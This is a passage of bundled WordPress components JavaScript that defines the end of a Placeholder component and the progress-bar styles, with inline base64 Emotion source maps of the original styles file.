45769 }] = (0, import_compose66.useResizeObserver)();
45770 let modifierClassNames;
45771 if (typeof width === "number") {
45772 modifierClassNames = {
45773 "is-large": width >= 480,
45774 "is-medium": width >= 160 && width < 480,
45775 "is-small": width < 160
45776 };
45777 }
45778 const classes = clsx_default("components-placeholder", className2, modifierClassNames, withIllustration ? "has-illustration" : null);
45779 const fieldsetClasses = clsx_default("components-placeholder__fieldset", {
45780 "is-column-layout": isColumnLayout
45781 });
45782 (0, import_element177.useEffect)(() => {
45783 if (instructions) {
45784 (0, import_a11y9.speak)(instructions);
45785 }
45786 }, [instructions]);
45787 return /* @__PURE__ */ (0, import_jsx_runtime252.jsxs)("div", {
45788 ...additionalProps,
45789 className: classes,
45790 children: [withIllustration ? PlaceholderIllustration : null, resizeListener, notices, preview && /* @__PURE__ */ (0, import_jsx_runtime252.jsx)("div", {
45791 className: "components-placeholder__preview",
45792 children: preview
45793 }), /* @__PURE__ */ (0, import_jsx_runtime252.jsxs)("div", {
45794 className: "components-placeholder__label",
45795 children: [/* @__PURE__ */ (0, import_jsx_runtime252.jsx)(icon_default3, {
45796 icon
45797 }), label]
45798 }), !!instructions && /* @__PURE__ */ (0, import_jsx_runtime252.jsx)("div", {
45799 className: "components-placeholder__instructions",
45800 children: instructions
45801 }), /* @__PURE__ */ (0, import_jsx_runtime252.jsx)("div", {
45802 className: fieldsetClasses,
45803 children
45804 })]
45805 });
45806 }
45807 var placeholder_default = Placeholder;
45808
45809 // packages/components/build-module/progress-bar/index.mjs
45810 var import_i18n71 = __toESM(require_i18n(), 1);
45811 var import_element178 = __toESM(require_element(), 1);
45812
45813 // packages/components/build-module/progress-bar/styles.mjs
45814 var import_i18n70 = __toESM(require_i18n(), 1);
45815 function _EMOTION_STRINGIFIED_CSS_ERROR__37() {
45816 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
45817 }
45818 function animateProgressBar(isRtl = false) {
45819 const animationDirection = isRtl ? "right" : "left";
45820 return keyframes2({
45821 "0%": {
45822 [animationDirection]: "-50%"
45823 },
45824 "100%": {
45825 [animationDirection]: "100%"
45826 }
45827 });
45828 }
45829 var INDETERMINATE_TRACK_WIDTH = 50;
45830 var Track2 = /* @__PURE__ */ createStyled("div", false ? {
45831 target: "e15u147w2"
45832 } : {
45833 target: "e15u147w2",
45834 label: "Track"
45835 })("position:relative;overflow:hidden;height:", config_values_default.borderWidthFocus, ";background-color:color-mix(\n in srgb,\n ", COLORS.theme.foreground, ",\n transparent 90%\n );border-radius:", config_values_default.radiusFull, ";outline:2px solid transparent;outline-offset:2px;:where( & ){width:160px;}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFnQytCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcywga2V5ZnJhbWVzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIFdvcmRQcmVzcyBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgaXNSVEwgfSBmcm9tICdAd29yZHByZXNzL2kxOG4nO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRyB9IGZyb20gJy4uL3V0aWxzJztcblxuZnVuY3Rpb24gYW5pbWF0ZVByb2dyZXNzQmFyKCBpc1J0bCA9IGZhbHNlICkge1xuXHRjb25zdCBhbmltYXRpb25EaXJlY3Rpb24gPSBpc1J0bCA/ICdyaWdodCcgOiAnbGVmdCc7XG5cblx0cmV0dXJuIGtleWZyYW1lcygge1xuXHRcdCcwJSc6IHtcblx0XHRcdFsgYW5pbWF0aW9uRGlyZWN0aW9uIF06ICctNTAlJyxcblx0XHR9LFxuXHRcdCcxMDAlJzoge1xuXHRcdFx0WyBhbmltYXRpb25EaXJlY3Rpb24gXTogJzEwMCUnLFxuXHRcdH0sXG5cdH0gKTtcbn1cblxuLy8gV2lkdGggb2YgdGhlIGluZGljYXRvciBmb3IgdGhlIGluZGV0ZXJtaW5hdGUgcHJvZ3Jlc3MgYmFyXG5leHBvcnQgY29uc3QgSU5ERVRFUk1JTkFURV9UUkFDS19XSURUSCA9IDUwO1xuXG5leHBvcnQgY29uc3QgVHJhY2sgPSBzdHlsZWQuZGl2YFxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdG92ZXJmbG93OiBoaWRkZW47XG5cdGhlaWdodDogJHsgQ09ORklHLmJvcmRlcldpZHRoRm9jdXMgfTtcblx0LyogVGV4dCBjb2xvciBhdCAxMCUgb3BhY2l0eSAqL1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvci1taXgoXG5cdFx0aW4gc3JnYixcblx0XHQkeyBDT0xPUlMudGhlbWUuZm9yZWdyb3VuZCB9LFxuXHRcdHRyYW5zcGFyZW50IDkwJVxuXHQpO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzRnVsbCB9O1xuXG5cdC8vIFdpbmRvd3MgaGlnaCBjb250cmFzdCBtb2RlLlxuXHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdG91dGxpbmUtb2Zmc2V0OiAycHg7XG5cblx0OndoZXJlKCAmICkge1xuXHRcdHdpZHRoOiAxNjBweDtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IEluZGljYXRvciA9IHN0eWxlZC5kaXY8IHtcblx0aXNJbmRldGVybWluYXRlOiBib29sZWFuO1xufSA+YFxuXHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiAwO1xuXHRoZWlnaHQ6IDEwMCU7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNGdWxsIH07XG5cdC8qIFRleHQgY29sb3IgYXQgOTAlIG9wYWNpdHkgKi9cblx0YmFja2dyb3VuZC1jb2xvcjogY29sb3ItbWl4KFxuXHRcdGluIHNyZ2IsXG5cdFx0JHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfSxcblx0XHR0cmFuc3BhcmVudCAxMCVcblx0KTtcblxuXHQvLyBXaW5kb3dzIGhpZ2ggY29udHJhc3QgbW9kZS5cblx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRvdXRsaW5lLW9mZnNldDogLTJweDtcblxuXHQkeyAoIHsgaXNJbmRldGVybWluYXRlIH0gKSA9PlxuXHRcdGlzSW5kZXRlcm1pbmF0ZVxuXHRcdFx0PyBjc3MoIHtcblx0XHRcdFx0XHRhbmltYXRpb25EdXJhdGlvbjogJzEuNXMnLFxuXHRcdFx0XHRcdGFuaW1hdGlvblRpbWluZ0Z1bmN0aW9uOiAnZWFzZS1pbi1vdXQnLFxuXHRcdFx0XHRcdGFuaW1hdGlvbkl0ZXJhdGlvbkNvdW50OiAnaW5maW5pdGUnLFxuXHRcdFx0XHRcdGFuaW1hdGlvbk5hbWU6IGFuaW1hdGVQcm9ncmVzc0JhciggaXNSVEwoKSApLFxuXHRcdFx0XHRcdHdpZHRoOiBgJHsgSU5ERVRFUk1JTkFURV9UUkFDS19XSURUSCB9JWAsXG5cdFx0XHQgIH0gKVxuXHRcdFx0OiBjc3MoIHtcblx0XHRcdFx0XHR3aWR0aDogJ3ZhcigtLWluZGljYXRvci13aWR0aCknLFxuXHRcdFx0XHRcdHRyYW5zaXRpb246ICd3aWR0aCAwLjRzIGVhc2UtaW4tb3V0Jyxcblx0XHRcdCAgfSApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgUHJvZ3Jlc3NFbGVtZW50ID0gc3R5bGVkLnByb2dyZXNzYFxuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHRvcDogMDtcblx0bGVmdDogMDtcblx0b3BhY2l0eTogMDtcblx0d2lkdGg6IDEwMCU7XG5cdGhlaWdodDogMTAwJTtcbmA7XG4iXX0= */"));
45836 var _ref9 = false ? {
45837 name: "152sa26",
45838 styles: "width:var(--indicator-width);transition:width 0.4s ease-in-out"
45839 } : {
45840 name: "1ox6xu8-Indicator",
45841 styles: "width:var(--indicator-width);transition:width 0.4s ease-in-out;label:Indicator;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFpRksiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHsgY3NzLCBrZXlmcmFtZXMgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogV29yZFByZXNzIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBpc1JUTCB9IGZyb20gJ0B3b3JkcHJlc3MvaTE4bic7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IENPTE9SUywgQ09ORklHIH0gZnJvbSAnLi4vdXRpbHMnO1xuXG5mdW5jdGlvbiBhbmltYXRlUHJvZ3Jlc3NCYXIoIGlzUnRsID0gZmFsc2UgKSB7XG5cdGNvbnN0IGFuaW1hdGlvbkRpcmVjdGlvbiA9IGlzUnRsID8gJ3JpZ2h0JyA6ICdsZWZ0JztcblxuXHRyZXR1cm4ga2V5ZnJhbWVzKCB7XG5cdFx0JzAlJzoge1xuXHRcdFx0WyBhbmltYXRpb25EaXJlY3Rpb24gXTogJy01MCUnLFxuXHRcdH0sXG5cdFx0JzEwMCUnOiB7XG5cdFx0XHRbIGFuaW1hdGlvbkRpcmVjdGlvbiBdOiAnMTAwJScsXG5cdFx0fSxcblx0fSApO1xufVxuXG4vLyBXaWR0aCBvZiB0aGUgaW5kaWNhdG9yIGZvciB0aGUgaW5kZXRlcm1pbmF0ZSBwcm9ncmVzcyBiYXJcbmV4cG9ydCBjb25zdCBJTkRFVEVSTUlOQVRFX1RSQUNLX1dJRFRIID0gNTA7XG5cbmV4cG9ydCBjb25zdCBUcmFjayA9IHN0eWxlZC5kaXZgXG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0b3ZlcmZsb3c6IGhpZGRlbjtcblx0aGVpZ2h0OiAkeyBDT05GSUcuYm9yZGVyV2lkdGhGb2N1cyB9O1xuXHQvKiBUZXh0IGNvbG9yIGF0IDEwJSBvcGFjaXR5ICovXG5cdGJhY2tncm91bmQtY29sb3I6IGNvbG9yLW1peChcblx0XHRpbiBzcmdiLFxuXHRcdCR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH0sXG5cdFx0dHJhbnNwYXJlbnQgOTAlXG5cdCk7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNGdWxsIH07XG5cblx0Ly8gV2luZG93cyBoaWdoIGNvbnRyYXN0IG1vZGUuXG5cdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0b3V0bGluZS1vZmZzZXQ6IDJweDtcblxuXHQ6d2hlcmUoICYgKSB7XG5cdFx0d2lkdGg6IDE2MHB4O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgSW5kaWNhdG9yID0gc3R5bGVkLmRpdjwge1xuXHRpc0luZGV0ZXJtaW5hdGU6IGJvb2xlYW47XG59ID5gXG5cdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0b3A6IDA7XG5cdGhlaWdodDogMTAwJTtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0LyogVGV4dCBjb2xvciBhdCA5MCUgb3BhY2l0eSAqL1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvci1taXgoXG5cdFx0aW4gc3JnYixcblx0XHQkeyBDT0xPUlMudGhlbWUuZm9yZWdyb3VuZCB9LFxuXHRcdHRyYW5zcGFyZW50IDEwJVxuXHQpO1xuXG5cdC8vIFdpbmRvd3MgaGlnaCBjb250cmFzdCBtb2RlLlxuXHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdG91dGxpbmUtb2Zmc2V0OiAtMnB4O1xuXG5cdCR7ICggeyBpc0luZGV0ZXJtaW5hdGUgfSApID0+XG5cdFx0aXNJbmRldGVybWluYXRlXG5cdFx0XHQ/IGNzcygge1xuXHRcdFx0XHRcdGFuaW1hdGlvbkR1cmF0aW9uOiAnMS41cycsXG5cdFx0XHRcdFx0YW5pbWF0aW9uVGltaW5nRnVuY3Rpb246ICdlYXNlLWluLW91dCcsXG5cdFx0XHRcdFx0YW5pbWF0aW9uSXRlcmF0aW9uQ291bnQ6ICdpbmZpbml0ZScsXG5cdFx0XHRcdFx0YW5pbWF0aW9uTmFtZTogYW5pbWF0ZVByb2dyZXNzQmFyKCBpc1JUTCgpICksXG5cdFx0XHRcdFx0d2lkdGg6IGAkeyBJTkRFVEVSTUlOQVRFX1RSQUNLX1dJRFRIIH0lYCxcblx0XHRcdCAgfSApXG5cdFx0XHQ6IGNzcygge1xuXHRcdFx0XHRcdHdpZHRoOiAndmFyKC0taW5kaWNhdG9yLXdpZHRoKScsXG5cdFx0XHRcdFx0dHJhbnNpdGlvbjogJ3dpZHRoIDAuNHMgZWFzZS1pbi1vdXQnLFxuXHRcdFx0ICB9ICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBQcm9ncmVzc0VsZW1lbnQgPSBzdHlsZWQucHJvZ3Jlc3NgXG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiAwO1xuXHRsZWZ0OiAwO1xuXHRvcGFjaXR5OiAwO1xuXHR3aWR0aDogMTAwJTtcblx0aGVpZ2h0OiAxMDAlO1xuYDtcbiJdfQ== */",
45842 toString: _EMOTION_STRINGIFIED_CSS_ERROR__37
45843 };
45844 var Indicator = /* @__PURE__ */ createStyled("div", false ? {
45845 target: "e15u147w1"
45846 } : {
45847 target: "e15u147w1",
45848 label: "Indicator"
45849 })("display:inline-block;position:absolute;top:0;height:100%;border-radius:", config_values_default.radiusFull, ";background-color:color-mix(\n in srgb,\n ", COLORS.theme.foreground, ",\n transparent 10%\n );outline:2px solid transparent;outline-offset:-2px;", ({
45850 isIndeterminate
45851 }) => isIndeterminate ? /* @__PURE__ */ css({
45852 animationDuration: "1.5s",
45853 animationTimingFunction: "ease-in-out",
45854 animationIterationCount: "infinite",
45855 animationName: animateProgressBar((0, import_i18n70.isRTL)()),
45856 width: `${INDETERMINATE_TRACK_WIDTH}%`
45857 }, false ? "" : ";label:Indicator;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEwRUsiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHsgY3NzLCBrZXlmcmFtZXMgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogV29yZFByZXNzIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBpc1JUTCB9IGZyb20gJ0B3b3JkcHJlc3MvaTE4bic7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IENPTE9SUywgQ09ORklHIH0gZnJvbSAnLi4vdXRpbHMnO1xuXG5mdW5jdGlvbiBhbmltYXRlUHJvZ3Jlc3NCYXIoIGlzUnRsID0gZmFsc2UgKSB7XG5cdGNvbnN0IGFuaW1hdGlvbkRpcmVjdGlvbiA9IGlzUnRsID8gJ3JpZ2h0JyA6ICdsZWZ0JztcblxuXHRyZXR1cm4ga2V5ZnJhbWVzKCB7XG5cdFx0JzAlJzoge1xuXHRcdFx0WyBhbmltYXRpb25EaXJlY3Rpb24gXTogJy01MCUnLFxuXHRcdH0sXG5cdFx0JzEwMCUnOiB7XG5cdFx0XHRbIGFuaW1hdGlvbkRpcmVjdGlvbiBdOiAnMTAwJScsXG5cdFx0fSxcblx0fSApO1xufVxuXG4vLyBXaWR0aCBvZiB0aGUgaW5kaWNhdG9yIGZvciB0aGUgaW5kZXRlcm1pbmF0ZSBwcm9ncmVzcyBiYXJcbmV4cG9ydCBjb25zdCBJTkRFVEVSTUlOQVRFX1RSQUNLX1dJRFRIID0gNTA7XG5cbmV4cG9ydCBjb25zdCBUcmFjayA9IHN0eWxlZC5kaXZgXG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0b3ZlcmZsb3c6IGhpZGRlbjtcblx0aGVpZ2h0OiAkeyBDT05GSUcuYm9yZGVyV2lkdGhGb2N1cyB9O1xuXHQvKiBUZXh0IGNvbG9yIGF0IDEwJSBvcGFjaXR5ICovXG5cdGJhY2tncm91bmQtY29sb3I6IGNvbG9yLW1peChcblx0XHRpbiBzcmdiLFxuXHRcdCR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH0sXG5cdFx0dHJhbnNwYXJlbnQgOTAlXG5cdCk7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNGdWxsIH07XG5cblx0Ly8gV2luZG93cyBoaWdoIGNvbnRyYXN0IG1vZGUuXG5cdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0b3V0bGluZS1vZmZzZXQ6IDJweDtcblxuXHQ6d2hlcmUoICYgKSB7XG5cdFx0d2lkdGg6IDE2MHB4O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgSW5kaWNhdG9yID0gc3R5bGVkLmRpdjwge1xuXHRpc0luZGV0ZXJtaW5hdGU6IGJvb2xlYW47XG59ID5gXG5cdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0b3A6IDA7XG5cdGhlaWdodDogMTAwJTtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0LyogVGV4dCBjb2xvciBhdCA5MCUgb3BhY2l0eSAqL1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvci1taXgoXG5cdFx0aW4gc3JnYixcblx0XHQkeyBDT0xPUlMudGhlbWUuZm9yZWdyb3VuZCB9LFxuXHRcdHRyYW5zcGFyZW50IDEwJVxuXHQpO1xuXG5cdC8vIFdpbmRvd3MgaGlnaCBjb250cmFzdCBtb2RlLlxuXHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdG91dGxpbmUtb2Zmc2V0OiAtMnB4O1xuXG5cdCR7ICggeyBpc0luZGV0ZXJtaW5hdGUgfSApID0+XG5cdFx0aXNJbmRldGVybWluYXRlXG5cdFx0XHQ/IGNzcygge1xuXHRcdFx0XHRcdGFuaW1hdGlvbkR1cmF0aW9uOiAnMS41cycsXG5cdFx0XHRcdFx0YW5pbWF0aW9uVGltaW5nRnVuY3Rpb246ICdlYXNlLWluLW91dCcsXG5cdFx0XHRcdFx0YW5pbWF0aW9uSXRlcmF0aW9uQ291bnQ6ICdpbmZpbml0ZScsXG5cdFx0XHRcdFx0YW5pbWF0aW9uTmFtZTogYW5pbWF0ZVByb2dyZXNzQmFyKCBpc1JUTCgpICksXG5cdFx0XHRcdFx0d2lkdGg6IGAkeyBJTkRFVEVSTUlOQVRFX1RSQUNLX1dJRFRIIH0lYCxcblx0XHRcdCAgfSApXG5cdFx0XHQ6IGNzcygge1xuXHRcdFx0XHRcdHdpZHRoOiAndmFyKC0taW5kaWNhdG9yLXdpZHRoKScsXG5cdFx0XHRcdFx0dHJhbnNpdGlvbjogJ3dpZHRoIDAuNHMgZWFzZS1pbi1vdXQnLFxuXHRcdFx0ICB9ICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBQcm9ncmVzc0VsZW1lbnQgPSBzdHlsZWQucHJvZ3Jlc3NgXG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiAwO1xuXHRsZWZ0OiAwO1xuXHRvcGFjaXR5OiAwO1xuXHR3aWR0aDogMTAwJTtcblx0aGVpZ2h0OiAxMDAlO1xuYDtcbiJdfQ== */") : _ref9, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF1REciLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHsgY3NzLCBrZXlmcmFtZXMgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogV29yZFByZXNzIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBpc1JUTCB9IGZyb20gJ0B3b3JkcHJlc3MvaTE4bic7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IENPTE9SUywgQ09ORklHIH0gZnJvbSAnLi4vdXRpbHMnO1xuXG5mdW5jdGlvbiBhbmltYXRlUHJvZ3Jlc3NCYXIoIGlzUnRsID0gZmFsc2UgKSB7XG5cdGNvbnN0IGFuaW1hdGlvbkRpcmVjdGlvbiA9IGlzUnRsID8gJ3JpZ2h0JyA6ICdsZWZ0JztcblxuXHRyZXR1cm4ga2V5ZnJhbWVzKCB7XG5cdFx0JzAlJzoge1xuXHRcdFx0WyBhbmltYXRpb25EaXJlY3Rpb24gXTogJy01MCUnLFxuXHRcdH0sXG5cdFx0JzEwMCUnOiB7XG5cdFx0XHRbIGFuaW1hdGlvbkRpcmVjdGlvbiBdOiAnMTAwJScsXG5cdFx0fSxcblx0fSApO1xufVxuXG4vLyBXaWR0aCBvZiB0aGUgaW5kaWNhdG9yIGZvciB0aGUgaW5kZXRlcm1pbmF0ZSBwcm9ncmVzcyBiYXJcbmV4cG9ydCBjb25zdCBJTkRFVEVSTUlOQVRFX1RSQUNLX1dJRFRIID0gNTA7XG5cbmV4cG9ydCBjb25zdCBUcmFjayA9IHN0eWxlZC5kaXZgXG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0b3ZlcmZsb3c6IGhpZGRlbjtcblx0aGVpZ2h0OiAkeyBDT05GSUcuYm9yZGVyV2lkdGhGb2N1cyB9O1xuXHQvKiBUZXh0IGNvbG9yIGF0IDEwJSBvcGFjaXR5ICovXG5cdGJhY2tncm91bmQtY29sb3I6IGNvbG9yLW1peChcblx0XHRpbiBzcmdiLFxuXHRcdCR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH0sXG5cdFx0dHJhbnNwYXJlbnQgOTAlXG5cdCk7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNGdWxsIH07XG5cblx0Ly8gV2luZG93cyBoaWdoIGNvbnRyYXN0IG1vZGUuXG5cdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0b3V0bGluZS1vZmZzZXQ6IDJweDtcblxuXHQ6d2hlcmUoICYgKSB7XG5cdFx0d2lkdGg6IDE2MHB4O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgSW5kaWNhdG9yID0gc3R5bGVkLmRpdjwge1xuXHRpc0luZGV0ZXJtaW5hdGU6IGJvb2xlYW47XG59ID5gXG5cdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0b3A6IDA7XG5cdGhlaWdodDogMTAwJTtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0LyogVGV4dCBjb2xvciBhdCA5MCUgb3BhY2l0eSAqL1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvci1taXgoXG5cdFx0aW4gc3JnYixcblx0XHQkeyBDT0xPUlMudGhlbWUuZm9yZWdyb3VuZCB9LFxuXHRcdHRyYW5zcGFyZW50IDEwJVxuXHQpO1xuXG5cdC8vIFdpbmRvd3MgaGlnaCBjb250cmFzdCBtb2RlLlxuXHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdG91dGxpbmUtb2Zmc2V0OiAtMnB4O1xuXG5cdCR7ICggeyBpc0luZGV0ZXJtaW5hdGUgfSApID0+XG5cdFx0aXNJbmRldGVybWluYXRlXG5cdFx0XHQ/IGNzcygge1xuXHRcdFx0XHRcdGFuaW1hdGlvbkR1cmF0aW9uOiAnMS41cycsXG5cdFx0XHRcdFx0YW5pbWF0aW9uVGltaW5nRnVuY3Rpb246ICdlYXNlLWluLW91dCcsXG5cdFx0XHRcdFx0YW5pbWF0aW9uSXRlcmF0aW9uQ291bnQ6ICdpbmZpbml0ZScsXG5cdFx0XHRcdFx0YW5pbWF0aW9uTmFtZTogYW5pbWF0ZVByb2dyZXNzQmFyKCBpc1JUTCgpICksXG5cdFx0XHRcdFx0d2lkdGg6IGAkeyBJTkRFVEVSTUlOQVRFX1RSQUNLX1dJRFRIIH0lYCxcblx0XHRcdCAgfSApXG5cdFx0XHQ6IGNzcygge1xuXHRcdFx0XHRcdHdpZHRoOiAndmFyKC0taW5kaWNhdG9yLXdpZHRoKScsXG5cdFx0XHRcdFx0dHJhbnNpdGlvbjogJ3dpZHRoIDAuNHMgZWFzZS1pbi1vdXQnLFxuXHRcdFx0ICB9ICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBQcm9ncmVzc0VsZW1lbnQgPSBzdHlsZWQucHJvZ3Jlc3NgXG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiAwO1xuXHRsZWZ0OiAwO1xuXHRvcGFjaXR5OiAwO1xuXHR3aWR0aDogMTAwJTtcblx0aGVpZ2h0OiAxMDAlO1xuYDtcbiJdfQ== */"));
45858 var ProgressElement = /* @__PURE__ */ createStyled("progress", false ? {
45859 target: "e15u147w0"
45860 } : {
45861 target: "e15u147w0",
45862 label: "ProgressElement"
45863 })(false ? {
45864 name: "11fb690",
45865 styles: "position:absolute;top:0;left:0;opacity:0;width:100%;height:100%"
45866 } : {
45867 name: "11fb690",
45868 styles: "position:absolute;top:0;left:0;opacity:0;width:100%;height:100%/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF1RjhDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcywga2V5ZnJhbWVzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIFdvcmRQcmVzcyBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgaXNSVEwgfSBmcm9tICdAd29yZHByZXNzL2kxOG4nO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRyB9IGZyb20gJy4uL3V0aWxzJztcblxuZnVuY3Rpb24gYW5pbWF0ZVByb2dyZXNzQmFyKCBpc1J0bCA9IGZhbHNlICkge1xuXHRjb25zdCBhbmltYXRpb25EaXJlY3Rpb24gPSBpc1J0bCA/ICdyaWdodCcgOiAnbGVmdCc7XG5cblx0cmV0dXJuIGtleWZyYW1lcygge1xuXHRcdCcwJSc6IHtcblx0XHRcdFsgYW5pbWF0aW9uRGlyZWN0aW9uIF06ICctNTAlJyxcblx0XHR9LFxuXHRcdCcxMDAlJzoge1xuXHRcdFx0WyBhbmltYXRpb25EaXJlY3Rpb24gXTogJzEwMCUnLFxuXHRcdH0sXG5cdH0gKTtcbn1cblxuLy8gV2lkdGggb2YgdGhlIGluZGljYXRvciBmb3IgdGhlIGluZGV0ZXJtaW5hdGUgcHJvZ3Jlc3MgYmFyXG5leHBvcnQgY29uc3QgSU5ERVRFUk1JTkFURV9UUkFDS19XSURUSCA9IDUwO1xuXG5leHBvcnQgY29uc3QgVHJhY2sgPSBzdHlsZWQuZGl2YFxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdG92ZXJmbG93OiBoaWRkZW47XG5cdGhlaWdodDogJHsgQ09ORklHLmJvcmRlcldpZ